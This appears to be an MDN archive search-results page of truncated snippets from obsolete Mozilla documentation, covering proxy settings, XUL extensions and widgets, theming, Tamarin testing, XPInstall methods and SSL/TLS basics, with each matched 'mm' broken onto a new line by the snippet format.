... 10.0.* ip addresses with wildcards in quads 10.*.*.* preferences name network.proxy.no_proxies_on default value localhost, 127.0.0.1 by default "localhost" and "127.0.0.1" are excluded, since most people assume these should connect to the local system. note: when ipv6 support is added, additional addresses will need to be added and tested. co
mmunicator used "network.proxy.none" limitations no ipv6 support - the backend stores ipv4 addresses as ipv6, but ipv6 formats are not supported. scalability - not usable for local domains with numerous hostnames. not usable for large number of filters (ad blocking). mozilla implements this feature with significant limitations, users may find that writing a pac file is more suitable for their ...
...so use this- dogwood.state.mo.us .intra.state.mo.us dor.intranet or dogwood.state.mo.us, .intra.state.mo.us, dor.intranet note that you don't need to (read shouldn't) put a * for all hosts with that domain ending. corollary- a no_proxies_on entry of netscape.com will be applicable to all hosts ending at netscape.com including foonetscape.com b...
...And 2 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
detailed information about structuring, packaging, and deploying extensions. packages extensions to firefox are installed with packages ("bundles"). an extension package usually contains a "content" provider, which contains the xul code and application logic. optionally locales and skins can be included. most additions are provided with a default tree structure, although not required it is reco
mmended to use this structure. here the package for the sidebar is created, the files included are listed below. example 1. package structure emptysidebar \- chrome |- content |- locale | \- en-us \- skin create all folders, except for skin. it is not used for this tutorial. the locale holds the locale, only the en-us locale is created. it is listed in example 2. the locale includ...
...e |- content |- locale | \- en-us \- skin create all folders, except for skin. it is not used for this tutorial. the locale holds the locale, only the en-us locale is created. it is listed in example 2. the locale includes the name and shortcut keys for the sidebar. example 2. chrome/locale/emptysidebar.dtd <!entity emptysidebar.title "emptysidebar"> <!entity openemptysidebar.co
mmandkey "e"> <!entity openemptysidebar.modifierskey "shift accel"> the content folder includes our sidebar, the emptysidebar.xul is shown in example 3. it creates a page holding one label. other elements can be included, please read the xul tutorials for more information. example 3. chrome/content/emptysidebar.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/...
...<?xml version="1.0"?> <!doctype overlay system "chrome://emptysidebar/locale/emptysidebar.dtd"> <overlay id="emptysidebaroverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="viewsidebarmenu"> <menuitem key="key_openemptysidebar" observes="viewemptysidebar" /> </menupopup> <keyset id="mainkeyset"> <key id="key_openemptysidebar" co
mmand="viewemptysidebar" key="&openemptysidebar.co
mmandkey;" modifiers="&openemptysidebar.modifierskey;" /> </keyset> <broadcasterset id="mainbroadcasterset"> <broadcaster id="viewemptysidebar" label="&emptysidebar.title;" autocheck="false" type="checkbox" group="sidebar" sidebarurl="chrom...
...And 2 more matches
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
ons linux: /usr/lib/mozillafirefox/chrome/classic.jar or /usr/lib/firefox-*.*.*/chrome/classic.jar windows: \program files\mozilla firefox\chrome\classic.jar for mac os x: go to your applications folder control click application icon(firefox icon), choose show package contents. go to contents/macos/chrome/classic.jar copy classic.jar to another easily accessible folder -- classic is reco
mmended -- extract the contents of that folder, being sure to maintain the directory structure. directories inside classic.jar is one directory, skin, as well as two files, preview.png and icon.png. skin skin simply contains another directory, classic which holds all the good stuff. skin\classic classic contains the following directories. skin\classic\browser browser contains all the toolb...
...tories inside classic.jar is one directory, skin, as well as two files, preview.png and icon.png. skin skin simply contains another directory, classic which holds all the good stuff. skin\classic classic contains the following directories. skin\classic\browser browser contains all the toolbar icons, as well as the icons for the bookmark manager and the preferences window. skin\classic\co
mmunicator doesn't do a whole lot and can typically be forgotten about promptly. skin\classic\global global contains almost all of the important css files that define the appearance of the browser. this is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\mozapps mozapps contains all the styles and icons for ...
...t to set up) you must first learn how to repackage the classic theme to make it installable. for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name. copying the necessary files the first step is to move all the files into the right directory structure. so create a new directory called my_theme. into this directory put the browser, global, co
mmunicator, help, and mozapps directories from above, as well as the icon.png and preview.png files. (yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files contents.rdf make a copy of contents.rdf, place it in \my_theme and open it up in your text editor. this file is a small xml database which is used to describe the skin...
...And 2 more matches
Documentation for BiDi Mozilla - Archive of obsolete content
ing support for explicit directional controls (lro, rlo, etc, and their html equivalents). bidi processing for a given html document will only take place if one of the following is true: the page includes a hebrew or arabic character or a hindi digit. this is determined in nstextfragment::setto the page includes a element with the attribute dir=rtl, either explicitly (nsgenerichtmlelement::mapco
mmonattributesinto), or as a consequence of a style rule (mapdeclarationtextinto in nscssstylerule.cpp) all these cases use nsdocument::enablebidi to set the flag mbidienabled. in a bidi-enabled document, the following things happen: during a reflow, nsbidipresutils::resolve is called. this method uses the uba to determine the directional properties of the text and reorder frames if necessary. if ...
... order of the frames in the content model is not affected, so frames that are adjacent in the content model can be far apart visually. a new frame iterator, nsvisualiterator (in nsframetraversal.cpp) provides visual frame navigation capability. details of rendering are dependent on user preferences and system capabilities. where the system is capable of tasks such as reversing and shaping text, sy
mmetric swapping, numeric translation, etc., no special text rendering is needed, though there may be a call to a native api to set the base text direction (for example settextalign on windows). for systems without bidi capabilities, the methods in nsiubidiutils are used. note that we are not affected by buggy bidi implementations on specific platforms, since the platform never sees a text fragment ...
... bidi options in preferences, the text mode of form controls may be "logical", "visual" or "like containing document". we have also tested behaviour of all controls with dir=rtl and added support where necessary. some support added for alignment in tables and lists, and fixes for problems with different combinations of dir and align. ...
...And 2 more matches
Metro browser chrome tests - Archive of obsolete content
for information on setting your local build as the default, visit the windows 8 integration wiki page. ...
...for information on setting your local build as the default, visit the windows 8 integration wiki page. ...
...for information on setting your local build as the default, visit the windows 8 integration wiki page. it is possible to run individual tests as well. as with mochitest, the path given as an argument is the path to a test file within the mozilla source tree. ...
...And 2 more matches
Monitoring downloads - Archive of obsolete content
although it was possible to do so in previous versions of firefox, it was previously only possible for one observer to do so at a time. firefox 3 introduces new api that allows any number of listeners to observe downloads. this article demonstrates how to monitor downloads in firefox 3, using the download manager. as a nice bonus, it also demonstrates how to use the storage api to issue sqlite co
mmands on a database. the result is a window you can open by choosing "download log" in the tools menu, which lists all downloads that have been started since you installed the extension. in the list is the name of the file, the start and end times of the download, the download speed, and the status of the download. a tooltip is included that displays the full source url of the file. download the f...
...me integer, endtime integer," + " speed real, status integer)"); dbconn.close(); }, this is fairly simple stuff. the download manager instance is cached into a member variable in the downloadlogger object for reuse later, and its addlistener() method is called to start listening for download status updates. the database file is opened, and an sqlite create table co
mmand is executed to create the table. finally, the database is closed. note: the mozistorageconnection method close() is being added to firefox 3 alpha 8; in prior versions of firefox, there is no way to explicitly close the database. instead, it is closed when the garbage collector disposes of the connection object. handling download state changes once the code above is run, our ondownloadstat...
...); break; } }, we're interested in four states. if the download's state, indicated by the adownload.state field, is components.interfaces.nsidownloadmanager.download_downloading, the file has begun to download. the adownload object is an nsidownload object. in that case, we create a new row in our database for the new file by opening the database and building a replace into sqlite co
mmand. the first three rows are set to the values of the source uri, file size, and start time fields from the download object. the remaining rows are set to zeroes since that's not information we have at the moment. if the download's state indicates that the download is finished, canceled, or failed, we call our logtransfercompleted routine to update the log to indicate that state change. that cod...
...And 2 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
rnet standards such as css1, html 4.0, dom1, rdf, xml and javascript. modular, embeddable: gecko's modular architecture enables developers to add or remove modules with little effort, fitting the software to the available hardware and adjusting functionality to match product requirements. gecko is implemented as a collection of xpcom components that can be easily added or removed. flexible progra
mming interfaces such as the web shell api, the java wrapper api and the gecko activex control make gecko easily embeddable into applications and devices. full browser functionality: gecko allows any desktop application as well as new devices, products and appliances to be web-enabled, with complete browser functionality. supported standards and features include data transport protocols, multilingu...
...ldwide, mozilla.org has accelerated internet software development and increased the quality of the final product, delivering unmatched support for web standards. in addition, independent software developers and corporate information technology departments now have complete access to the modular source code and freedom to freely license the source, make changes and build customized versions to acco
mmodate their individual needs. free: gecko is free of charge. there is no charge for using the gecko browser engine or gecko technologies, including distributing gecko inside another product. furthermore, when embedding gecko, developers are free to choose what modules to include. there is no requirement for distribution of any other software. the necko network library mozilla's network library (...
...ng gecko, developers are free to choose what modules to include. there is no requirement for distribution of any other software. the necko network library mozilla's network library (aka necko) provides an extensible, platform-independent api for several layers of networking from transport to presentation layers. its provides a generic and extensible framework for fetching urls with support for co
mmon protocols (http, ftp, file, etc.) and a way to plug in custom protocol handlers. necko also provides an abstract "file descriptor" interface for low-level data access. necko features include support for asynchronous i/o, a generic disk and memory cache service, asynchronous caching dns resolution, web proxies, and https. the following architectural diagram depicts necko and its interaction with...
...And 2 more matches
Plug-n-Hack Phase1 - Archive of obsolete content
s been enabled. you can see an example of a configuration document in the zap pnh addon. there’s another (possibly out of date) example here. an example manifest (for owasp zap) is: { "toolname":"owasp zap", "protocolversion":"0.2", "features":{ "proxy":{ "pac":"http://localhost:8080/proxy.pac", "cacert":"http://localhost:8080/other/core/other/rootcert/" }, "co
mmands":{ "prefix":"zap", "manifest":"http://localhost:8080/other/mitm/other/service/" } } } the top level manifest includes optional links to a proxy pac and a root ca certificate. it also optionally links to another manifest which describes the co
mmands the browser can invoke. serving manifests from outside of your tool you may want to serve manifests from a separate webserver (e...
...nd service manifests to be served from the same origin as the api endpoints but, for testing purposes, ringleader (the firefox addon implementation of the browser component) allows you to set a preference to relax or disable origin checks. the preference is ringleader.check.origin this can be set to 'off' to disble origin checks completely, or 'noport' to disable only port checks. ...
...rved from the same origin as the api endpoints but, for testing purposes, ringleader (the firefox addon implementation of the browser component) allows you to set a preference to relax or disable origin checks. the preference is ringleader.check.origin this can be set to 'off' to disble origin checks completely, or 'noport' to disable only port checks. ...
...And 2 more matches
Running Tamarin acceptance tests - Archive of obsolete content
37:06.410676 current configuration: x64-mac-tvm-release avm version: 5260:6d1899261bac executing 2532 tests against vm: /users/build/hg/builds/5260-6d1899261bac/mac/avmshell_64 2532 running abcasm/abs_helper.as skipping... reason: 2531 running abcasm/adhoc.abs skipping... reason: inconsistencies in different debug output, need to implement regex matching of diffs 2527 running abcasm/branchtoco
mmon.abs 2530 running abcasm/arithmetic.abs 2529 running abcasm/bkpt.abs 2528 running abcasm/bkptline.abs 2526 running abcasm/bug_476556.abs 2524 running abcasm/bug_491056.abs ... test run passed! tests complete at 2010-09-28 10:39:26.751797 start date: 2010-09-28 10:38:07.221457 end date : 2010-09-28 10:39:26.751797 test time : 0:01:19.530340 passes : 59291 failures ...
...st (for a list of all flags, run runtests.py with -h/--help) --nohtml : will suppress the creation of an html output file --rebuildtests : will only rebuild test .abc's, will not attempt to run them. ...
... well, but with a few differences. you should set environment variables as described above except for avm, which should be: $ export avm=$tamarin_build_top/platform/android/android_shell.py where $tamarin_build_top is your main tamarin repo folder. note that avm needs to point to android_shell.py which is a proxy for running the tests on the phone. the /android-public/android-vars.sh script has co
mmented-out examples of the environment settings for running tests on the android avm shell. to recap the other environment settings: - set the builtinabc environment variable to the path of the generated/builtin.abc. - you may build the .abc files build by downloading the latest asc.jar. the latest asc.jar can be downloaded from from ftp://ftp.mozilla.org/pub/js/tamarin...latest/asc.jar. also the ...
...And 2 more matches
Tamarin Build System Documentation - Archive of obsolete content
scroll down to see previous builds triggered at the bottom of the page click on the [next page] link to display more previous builds what are the goals of the build system (qos)? ...
...ilding and testing tamarin on supported platforms and configurations to represent the build results in a clear and concise manor please give use feedback if you have any co
mments or suggestions to improve the build system how to add tests to the smokes? ...
... and configurations to represent the build results in a clear and concise manor please give use feedback if you have any co
mments or suggestions to improve the build system how to add tests to the smokes? ...
...And 2 more matches
execute - Archive of obsolete content
method of install object syntax int execute ( string xpisourcepath [, boolean blocking]); int execute ( string xpisourcepath, string args [, boolean blocking]); parameters the execute method has the following parameters: xpisourcepath the pathname of the file to extract and execute. (note that this path points into the xpi itself.) args a parameter string that is passed to the executable. (ignored on mac os). see note below. blocking a boolean value that specifies whether the installation should wait for the execution of the file to finish before it resumes. default is false. see note below. ...
...talled, and is typically placed at the end of an install script and outside of the main install block. the install object's execute method, on the other hand, deletes the executable from its temporary location once it has finished. ...
...when set to true, specifies that the installation should wait for this executable to finish before processing the next queued install co
mmand. if you do not set this flag and launch an executable that is not a part of the installation, you will raise an error when you restart the browser. passing arguments to the executable the args parameter, when present, passes a string to the executable as co
mmand-line parameters. the following line, for example, passes the "-c" co
mmand-line parameter to the executable: err = file.execute(myfile, "-c", true); when you want to pass more than one parameter to the executable itself, however, you must format the args string in a particular way so that the parameters can be broken up and passed separately as required. in general, you should use single quot...
...And 2 more matches
getFolder - Archive of obsolete content
method of install object syntax filespecobject getfolder ( string foldername); filespecobject getfolder ( string foldername, string subdirectory); filespecobject getfolder ( object localdirspec, string subdirectory); parameters the getfolder method has the following parameters: foldername a string representing one of netscape's standard directories. there are two sets of possible values for this parameter. the first set contains platform-independent locations; the second set contains platform-specific locations. you are encouraged to use the platform-independent locations. see the list in the description section for the two sets of locations. ...
...it must ...
...it must be in file: url format minus the "file:///" part. for example, ...
...And 2 more matches
PopupEvents - Archive of obsolete content
fired when a request is made to open a context menu, whether by the keyboard or mouse. this event will be fired even for elements that don't have a context menu associated with them. for more information about how to use this event, see context menu events. popupshowing this event is fired on a menupopup, panel or tooltip just before it is made visible. this event is most co
mmonly used to add or adjust items on the popup based on the context. popupshown this event is fired on a menupopup, panel or tooltip once it is visible on screen. popuphiding this event is fired on a menupopup, panel or tooltip once it is about to be hidden. this may happen because the user selected an item from the menu, or it may be beca...
...pup is already visible. when calling either the openpopup or openpopupatscreen methods, the popup will not actually be open before that method returns. the popupshown event will be fired when the ui is updated and the popup is visible. one possible use of the popupshown event is to open another menu. this technique, as shown in the following example, is needed if you wish to open a submenu progra
mmatically. this is because you cannot open a submenu directly without first opening the parent menu. <script> function openfilemenu() { var filemenu = document.getelementbyid("file-menu"); filemenu.addeventlistener("popupshown", filemenuopened, false); filemenu.open = true; } function filemenuopened(event) { if (event.target != document.getelementbyid("file-menupopup")) return; var ...
...within this function, a popupshown event listener is attached to the 'file' menu using the addeventlistener method. this will cause the filemenuopened function to be called when the popupshown event is fired on the 'file' menu. the filemenuopened function first checks that the target of the event is the right...
...And 2 more matches
Custom toolbar button - Archive of obsolete content
change the text between double-quote characters on these two lines. optionally remove the sections for toolbars that you do not need. save the file. explanation: this xul file adds the button to...
...e. it also links to the stylesheet and javascript code that the button uses. the last section specifies details of the button. 7. create a plain text file named button.css. copy the following content, making sure that you scroll to get all of it. paste it into the new file: #custom-button-1, #wrapper-custom-button-1 {list-style-image: url("chrome://custombutton/content/button-1.png");} /* co
mmon style for all custom buttons */ .custombutton {-moz-image-region: rect( 0px 24px 24px 0px);} .custombutton:hover {-moz-image-region: rect(24px 24px 48px 0px);} [iconsize="small"] .custombutton {-moz-image-region: rect( 0px 40px 16px 24px);} [iconsize="small"] .custombutton:hover {-moz-image-region: rect(24px 40px 40px 24px);} there is nothing to customize. save the file. explana...
...ollowing content, and paste it into the new file: custombutton = { 1: function () { alert("just testing") }, } there is nothing to customize for now. save the file. the next section in this tutorial contains examples of code that you can use to make your button do something useful. explanation: this file specifies what happens when you press the button. it uses the javascript progra
mming language, together with features provided by the application. 9. download the button image. get a context menu for the image that you see here (for example, by right-clicking it). choose save image as... from the context menu, and save it in the same chrome directory as the files you have just created. ensure that the name of the saved file is: button-1.png explanation: the image is in f...
...And 2 more matches
Introduction to RDF - Archive of obsolete content
this is by using rdf datasources. rdf (resource description framework) is a format that can be used to store resources such as bookmarks or mail. alternatively, data in other formats can be used and code written that will read the file and create rdf data from it. this is how mozilla works when it reads data such as bookmarks, the history or mail messages. mozilla provides datasources for this co
mmon data so that you can easily use them. you can use any of the provided rdf datasources to populate trees with data or you can point to an rdf file stored in xml which contains the data. this makes it very convenient to display trees with lots of rows in them. rdf can also populate other xul elements as well such as listboxes and menus. we'll see this in the next section. a very brief overview of...
...three. rdf/xml file example below, a sample rdf/xml file is shown, listing a table with three records and three fields. ...
..."http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#"> <rdf:seq about="http://www.some-fictitious-zoo.com/all-animals"> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/ma
mmals/lion"> <animals:name>lion</animals:name> <animals:species>panthera leo</animals:species> <animals:class>ma
mmal</animals:class> </rdf:description> </rdf:li> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/arachnids/tarantula"> <animals:name>tarantula</animals:name> <animals:species>avicularia avicularia</animals:species> <animals:class>arachnid</animals:class> </rdf:description> </rdf:li> <rdf:li> <rdf:description ...
...And 2 more matches
Localization - Archive of obsolete content
> <script src="findfile.js"/> <popupset> <menupopup id="editpopup"> <menuitem label="&cutcmd.label;" accesskey="&cutcmd.accesskey;"/> <menuitem label="©cmd.label;" accesskey="©cmd.accesskey;"/> <menuitem label="&pastecmd.label;" accesskey="&pastecmd.accesskey;" disabled="true"/> </menupopup> </popupset> <keyset> <key id="cut_cmd" modifiers="accel" key="&cutcmd.co
mmandkey;"/> <key id="copy_cmd" modifiers="accel" key="©cmd.co
mmandkey;"/> <key id="paste_cmd" modifiers="accel" key="&pastecmd.co
mmandkey;"/> <key id="close_cmd" keycode="vk_escape" onco
mmand="window.close();"/> </keyset> <vbox flex="1"> <toolbox> <menubar id="findfiles-menubar"> <menu id="file-menu" label="&filemenu.label;" accesskey="&filemenu.accesskey;"> <me...
... accesskey="&filemenu.accesskey;"> <menupopup id="file-popup"> <menuitem label="&opencmd.label;" accesskey="&opencmd.accesskey;"/> <menuitem label="&savecmd.label;" accesskey="&savecmd.accesskey;"/> <menuseparator/> <menuitem label="&closecmd.label;" accesskey="&closecmd.accesskey;" key="close_cmd" onco
mmand="window.close();"/> </menupopup> </menu> <menu id="edit-menu" label="&editmenu.label;" accesskey="&editmenu.accesskey;"> <menupopup id="edit-popup"> <menuitem label="&cutcmd.label;" accesskey="&cutcmd.accesskey;" key="cut_cmd"/> <menuitem label="©cmd.label;" accesskey="©cmd.accesskey;" key="copy_cmd"/> ...
...a dtd file has been included near the beginning of the xul file. each entity that was added should be declared in the dtd file. the window will not be displayed if an entity is found in the xul file ...
...And 2 more matches
Skinning XUL Files by Hand - Archive of obsolete content
the global skin -- makes all xul menus appear with a one pixel border, a light blue background, and 10 point fonts: menu { border: 1px; background-color: lightblue; font-size: 10pt; } in addition to these basic element style rules, css also provides for the application of style information to classes of elements, and element ids. ...
... menu.baseline { border: 0px; font-size: 9pt; } menu#edit { color: red; } other style subgroups contextualsubgroups -- elements appearing within other elements, such as italicized text anywhere within a <p> element or a <div> -- can be grouped in css, but this is an extremely inefficient way to style xul, and is frowned upon in the mozilla development co
mmunity (again, refer to the skinning guidelines in writing skinnable xul and css for more info); css2 also provides some new ways to group elements for styling, which we su
mmarize briefly here, because they appear in mozilla with some frequency, but reserve for another article: pseudo-class parent-child element:pseudo-class { attribute: value; } parent > child { attribute: ...
... the parent-child relationship is more economical than the aforementioned contextual subgrouping, which searches the entire subtree of an element for the subelement. finally, mozilla provides some special extensions to the cascading style sheets specification that allow even more control over the way that xul is skinned within the browser. on to the actual global.css file: after some co
mments, the css file contains basic style information for the <window> and <dialog> elements. after these, the global skin defines styles for some of the xul widgets: statusbar, statusbarpanel and so on. most widgets have their styles defined in separate css files in the same directory that the global.css file. note that much of the style attributes in these rules have to do with borders, font info...
...And 2 more matches
Using the Editor from XUL - Archive of obsolete content
t the content node that it lives on: editorshell.init(); editorshell.seteditortype(editortype); editorshell.webshellwindow = window; editorshell.contentwindow = window._content; the webshellwindow (a settable attribute on nsieditorshell) points to the top-level window element, from which the editorshell can get the xul document in which it is living. it needs this to poke the ui (e.g. for co
mmand state maintenance, starting and stopping the throbber etc.). the contentwindow (another settable attribute on nsieditorshell) points to the xul element which is to become editable. note: since we already know this when we have an <editor></editor> tag, we should remove the need to call this. editorstartup() does some other minor bits of setup before finally kicking off the ur...
...itor event handling editing operations happen in response to user events: mouse, key, drag and drop, and ime (international text input) events. in order to receive these events, the editor registers several event listeners on the document being edited. in addition, editor actions in the user interface are propagated via the xul and javascript, and call methods on the nseditorshell. ...
...ipt, and call methods on the nseditorshell. this editor co
mmand dispatching is described separately. the following event listeners are registered: in nshtmleditor::installeventlisteners(), we install the following. these get installed for all types of editor (i.e. for text widgets and composer): nstexteditorkeylistener (as a nsidomkeylistener) nstexteditormouselistener (as a nsido
mmouselistener) nstexteditorfocuslistener (as a nsidomfocuslistener) nstexteditortextlistener (as a nsidomtextlistener) nstexteditorcompositionlistener (as a nsidomcompositionlistener) nstexteditordraglistener (as a nsidomdraglistener) in nseditorshell::preparedocumentforediting(), we install a mouse listener. this only happens for situations where the nseditorshell is used (i.e...
...And 2 more matches
datepicker - Archive of obsolete content
sing the type attribute. normal - a datepicker with three fields for entering the year, month and date. grid - a datepicker with a calendar grid for selecting a date. popup - a normal datepicker with three fields, but with an additional dropdown button to display a popup grid. there are several ways to set the selected day. in xul, the value attribute may be set to a value of the form yyyy-
mm-dd to initialize the datepicker to a certain date. if not specified, the datepicker defaults to the current day. to change the selected date, the value property may be used to set a new value in the form yyyy-
mm-dd. the datevalue property may be used to retrieve and set the date using a date object. in addition, the date, month and year properties may be used to retrieve and modify each componen...
... tabindex, value, year, yearleadingzero examples <datepicker type="grid" value="2007-03-26"/> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...d is desired. grid a datepicker that displays a calendar grid where one month is shown at a time. popup a datepicker with three entry fields but an additional dropdown button, which, when pressed, will display a popup calendar grid. value type: string the initial value of the datepicker in the form yyyy-
mm-dd. properties date type: integer the currently selected date of the month from 1 to 31. set this property to change the selected date. dateleadingzero type: boolean a read only value indicating whether a leading zero should be displayed before the date when it is less than 10. datevalue type: date the date that is curren...
...And 2 more matches
editor - Archive of obsolete content
ost of the functionality of the editor, your application must be part of an extension or part of the chrome. xul applications loaded via a url from a web server will not be able to access most of the features of the editor. see the rich text editing and midas pages for more information about gecko's built-in rich text editor. ...
... attributes editortype type: one of the values below the type of editor to use. this value will be overridden depending on the content type of the document in the editor. ...
...r.contentdocument.designmode = 'on'; } </script> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the document.execco
mmand method: var editor = document.getelementbyid("myeditor"); // toggle bold for the current selection editor.contentdocument.execco
mmand("bold", false, null); see the midas overview for more co
mmand strings. attributes editortype type: one of the values below the type of editor to use. this value will be overridden depending on the content type of the document in the editor. html an html editor. text a plaintext editor. src type: uri the uri of the content to appear in the ele...
...And 2 more matches
menulist - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that can be used for drop-down choice lists. the user may select one of the elements displayed in the menulist. the currently selected choice is displayed on the menulist element. to create the drop-down, put a menupopup inside the menulist containing the choices as menuitem elements. ...
...rently selected choice is displayed on the menulist element. to create the drop-down, put a menupopup inside the menulist containing the choices as menuitem elements. the co
mmand event may be used to execute code when the menulist selection changes. more information is available in the xul tutorial. ...
... false, the selection is never updated to match the text box. this attribute applies only to editable menulists. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...And 2 more matches
timepicker - Archive of obsolete content
ies | methods | related ] the timepicker is used to allow the user to enter a time. it contains three fields to enter the hour, minute and second. arrow buttons next to the fields allow the values to be adjusted with the mouse. a fourth textbox appears for 12 hour clocks which allows selection of am or pm. to specify the initial, use the value attribute set to a value of either the form hh:
mm:ss or hh:
mm. the value may be retrieved and changed using the value property or the datevalue property. the former specifies the time as a string of the form hh:
mm:ss whereas the latter specifies the time as a date object. in addition, the hour, minute and second properties may be used to retrieve and modify each component of the time separately. the change event is fired whenever the time is ch...
...r, readonly, second, secondleadingzero, tabindex, value examples <timepicker value="12:05"/> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...e pressed. this should be used in combination with setting hideseconds to true. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. value type: string the initial value of the timepicker in either the form hh:
mm:ss or hh:
mm. properties amindicator type: string the string value displayed for hours between midnight and noon, defaulting to am. this value is determined from the user's locale. datevalue type: date the date that is currently entered or selected in the datepicker as a date object. disabled type: boolean gets and sets th...
...And 2 more matches
SSL and TLS - Archive of obsolete content
draft this page is not complete. the secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted co
mmunication between clients and servers. both client and server authentication occur over ssl/tls. ssl/tls uses a combination of public key and sy
mmetric-key encryption. sy
mmetric-key encryption is much faster than public-key encryption, but public-key encryption provides better authentication techniques. an ssl/tls session always begins with an exchange of messages called the ssl handshake, initial co
mmunication between the server and client. the handshake allows the server to authenticate itself to the client using public-key techniques, then allows the client and the server to cooperate in the...
...lic-key encryption, but public-key encryption provides better authentication techniques. an ssl/tls session always begins with an exchange of messages called the ssl handshake, initial co
mmunication between the server and client. the handshake allows the server to authenticate itself to the client using public-key techniques, then allows the client and the server to cooperate in the creation of sy
mmetric keys used for rapid encryption, decryption, and tamper detection during the session that follows. both of these protocols support using a variety of different cryptographic algorithms, or ciphers, for operations such as authenticating the server and client, transmitting certificates, and establishing session keys. clients and servers may support different cipher suites, or sets of ciphers. ...
...and servers may support different cipher suites, or sets of ciphers. among other functions, the ssl handshake determines how the server and client negotiate which cipher suite they will use to authenticate each other, to transmit certificates, and to establish session keys. key-exchange algorithms like rsa and elliptic curve cryptography (ecc) govern the way the server and client determine the sy
mmetric keys to use during an ssl session. the most co
mmon ssl cipher suites use rsa key exchange, while tls supports ecc cipher suites as well as rsa. note: longer rsa keys are required to provide security as computing capabilities increase. the reco
mmended rsa key-length is 2048 bits. though many web servers continue to use 1024-bit keys, web servers should migrate to at least 2048 bits. for 64-b...
...And 2 more matches
Theme changes in Firefox 2 - Archive of obsolete content
toolkit/mozapps/preferences/fontscaling.xul - removed from firefox 2. changes to the default theme the table below lists all the changes made in the default theme for firefox 2; you can use this information as a starting point for figuring out the changes you need to make. file description of change browser/bookmarks/addbookmark.css updated to include microsu
mmary-related css changes. browser/bookmarks/bookmarksproperties.css new file; includes microsu
mmary-related css. browser/browser.css needs to be updated to include new css for microsu
mmaries, search fields, iconic bookmark menu items, and more. browser/dropmark-nav-small.png new file; used as the drop-down menu arrow on the navigation buttons, when using small ic...
...e top of the window. mozapps/extensions/update.css this file, which skins the firefox update wizard, has fewer styles in it due to the redesigned update wizard. mozapps/extensions/viewbuttons.png new file; contains icons for each of the views that may be available in the add-ons manager. in the default theme, these look something like this: the top row contains di
mmed versions of the icons below them. the first icon is for the extensions view. the second is for themes. the third is for locales, the fourth is for plugins, the fifth is for updates, and the sixth is for installs. mozapps/pref this entire directory is no longer used in firefox 2 and should be removed. changes in browser bookmarks/addbookmark.css the addbookmarks.css file...
...s for installs. mozapps/pref this entire directory is no longer used in firefox 2 and should be removed. changes in browser bookmarks/addbookmark.css the addbookmarks.css file should have the following lines added to the top: @namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"); @namespace html url("http://www.w3.org/1999/xhtml"); some microsu
mmary-related css also needs to be added, to provide formatting for the microsu
mmary picker. these are used to make the picker look like a regular text box instead of like an editable menu list when there are no microsu
mmaries available. menulist#name[droppable="false"] menulist#name[droppable="false"] > .menulist-editable-box menulist#name[droppable="false"] > .menulist-editable-box > html|*.t...
...And 2 more matches
The global XML object - Archive of obsolete content
t fields. to add a method to xml.prototype, define xml.prototype.function::methodname or xml.prototype.function::[methodnamestring]. ...
...type.function::methodname or xml.prototype.function::[methodnamestring]. the following example defines the foocount() method, which returns the amount of <foo> elements in the xml: xml.prototype.function::foocount = function foocount() { return this..foo.length(); }; <foobar><foo/><foo/><foo/></foobar>.foocount() // returns 3 ignoreco
mments true by default. this property tells e4x to ignore co
mment nodes when serializing and filtering. ...
.... the following example defines the foocount() method, which returns the amount of <foo> elements in the xml: xml.prototype.function::foocount = function foocount() { return this..foo.length(); }; <foobar><foo/><foo/><foo/></foobar>.foocount() // returns 3 ignoreco
mments true by default. this property tells e4x to ignore co
mment nodes when serializing and filtering. this means that if ignoreco
mments is true, the list returned by .co
mments() will be empty. ...
...And 2 more matches
Reference - Archive of obsolete content
d at accidentally. i also just read a document on proper inheritance using apply(). well if you combine the two, you can have inherited private variables: function myclass(){ var property = 5; this.tellme = function(){ return property; } } function myotherclass(){ myclass.apply( this ); } var o = new myotherclass; alert( o.tellme() ); //alerts 5 as you'd expect — the preceding co
mment was added by psygnisfive (talk – contribs) on 22:23, 4 december 2006 terminology we need a terminology appendix. for example, "script" and "program" are synonymous. so are "current object" and "context object". we could also put in layman definitions there for js constructs like functions and variables. --maian 01:43, 30 september 2005 (pdt) we should define the terms we are using. in par...
